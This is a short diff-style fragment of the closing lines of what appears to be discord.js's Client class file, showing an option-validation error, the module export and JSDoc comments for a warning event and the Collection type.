+ throw new TypeError('CLIENT_INVALID_OPTION', 'rejectOnRateLimit', 'an array or a function');
1109
+ }
1110
+ }
1111
+ }
1112
+
1113
+ module.exports = Client;
1114
+
1115
+ /**
1116
+ * Emitted for general warnings.
1117
+ * @event Client#warn
1118
+ * @param {string} info The warning
1119
+ */
1120
+
1121
+ /**
1122
+ * @external Collection
1123
+ * @see {@link https://discord.js.org/docs/packages/collection/stable/Collection:Class}
1124
+ */